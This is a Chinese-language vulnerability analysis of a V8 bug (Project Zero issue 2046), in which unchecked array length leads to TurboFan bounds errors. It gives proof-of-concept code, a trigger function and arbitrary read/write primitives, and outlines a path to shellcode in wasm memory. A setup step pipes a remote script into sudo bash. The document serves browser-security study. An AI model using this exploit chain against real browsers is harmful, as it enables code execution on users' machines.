Chrome Issue 2046: NewFixedArray 数组长度未验证漏洞分析与利用
字数 1716 2025-08-20 18:17:47
Chrome V8 NewFixedArray 数组长度未验证漏洞分析与利用
漏洞概述
该漏洞存在于V8引擎的NewFixedArray和NewFixedDoubleArray宏实现中,由于未对数组长度进行边界检查,导致可以创建超过最大允许长度的数组对象。漏洞编号为Chrome Issue 2046。
环境搭建
编译存在漏洞的V8源码
git reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
gclient sync
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
安装Turbolizer可视化工具
- 安装npm:
sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs
sudo apt-get install npm
- 启动Turbolizer:
cd v8/v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer 8000
- 生成Turbolizer文件:
./d8 --trace-turbo ./poc.js
基础知识
JavaScript相关方法
-
splice()方法:
- 向/从数组中添加/删除项目,返回被删除的项目
- 语法:
arrayObject.splice(index,howmany,item1,...,itemX)
-
Array.prototype.concat.apply:
- 将多维数组转化成一维数组
-
Math.max():
- 返回一组数中的最大值
V8引擎特性
-
指针压缩:
- 64位指针压缩为32位
- 高32位存放在r13寄存器,低32位用4字节存储
- SMI值用4字节存储,最后一位不用(指针最后一位为1)
-
V8数组类型:
PACKED_SMI_ELEMENTS:小整数(Smi)PACKED_DOUBLE_ELEMENTS:双精度浮点数PACKED_ELEMENTS:常规元素- 类型转换只能从特定到一般(不可逆)
-
PACKED到HOLEY类型转换:
- 当给数组添加"洞"(hole)时,会从密集数组转为稀疏数组
漏洞分析
漏洞代码
漏洞位于CodeStubAssembler::AllocateFixedArray的两个宏实现:
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};
}
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length)
floats: ...it
};
}
漏洞细节
-
未检查
length边界:FixedArray::kMaxLength= 0x7fffffdFixedDoubleArray::kMaxLength= 0x3fffffe
-
漏洞调用链:
ArrayPrototypeSplice -> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray
PoC分析
PoC1
array = Array(0x80000).fill(1); // [1]
array.prop = 1; // [2]
args = Array(0x100 - 1).fill(array); // [3]
args.push(Array(0x80000 - 4).fill(2)); // [4]
giant_array = Array.prototype.concat.apply([], args); // [5]
giant_array.splice(giant_array.length, 0, 3, 3, 3, 3); // [6]
- [1] 创建0x80000大小的数组
- [3] 创建0xff大小,每个元素为array的对象(0xff * 0x80000 = 0x7f80000元素)
- [4] push进0x7fffc个元素的数组(总计0x7fffffc元素)
- [6] 添加4个元素,总计0x8000000元素(超过kMaxLength)
PoC2
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
使用HOLEY_DOUBLE_ELEMENTS类型(最大长度0x3fffffe),更快触发漏洞。
TurboFan优化问题
在Turbolizer的V8.TFTyper 137阶段,TurboFan错误地认为数组长度在(0, 67108862)范围内,而实际为67108863,导致后续计算与实际不符:
function trigger(array) {
var x = array.length; // 实际: 67108863
x -= 67108861; // 实际: 2
x = Math.max(x, 0); // 实际: 2
x *= 6; // 实际: 12
x -= 5; // 实际: 7
x = Math.max(x, 0); // 实际: 7
// ...
}
TurboFan认为x的范围为(0,1),而实际为7,导致越界访问。
漏洞利用
利用步骤
-
创建越界数组:
- 利用漏洞创建超长数组
- 在后面布置浮点型数组
oob_array,越界修改其长度
-
搜索ArrayBuffer:
- 利用越界数组搜索ArrayBuffer的backing_store
- 构造任意读写原语
-
搜索wasm function:
- 搜索wasm Instance,rwx区域位于wasm Instance +0x68处
-
执行shellcode:
- 将shellcode写入rwx区域并执行
关键代码
// 创建越界数组
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
// 触发漏洞
function trigger(array) {
var x = array.length;
x -= 67108861;
x = Math.max(x, 0);
x *= 6;
x -= 5;
x = Math.max(x, 0);
corrupting_array = [0.1, 0.1];
corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
// 任意读原语
function dataview_read64(addr) {
oob_array[backing_store_idx] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
// 任意写原语
function dataview_write(addr, payload) {
oob_array[backing_store_idx] = i2f(addr);
for(let i=0; i < payload.length; i++) {
data_view.setUint8(i, payload[i]);
}
}
注意事项
- 由于指针压缩,字段占4字节,而浮点型数组以8字节为单位读写
- 需要处理读写字段可能位于高4字节或低4字节的情况
- 搜索区域可能不可访问,导致崩溃,利用有一定概率性
参考链接
- https://www.elttam.com/blog/simple-bugs-with-complex-exploits/
- https://v8.dev/blog/elements-kinds
- https://bugs.chromium.org/p/project-zero/issues/detail?id=2046
- https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/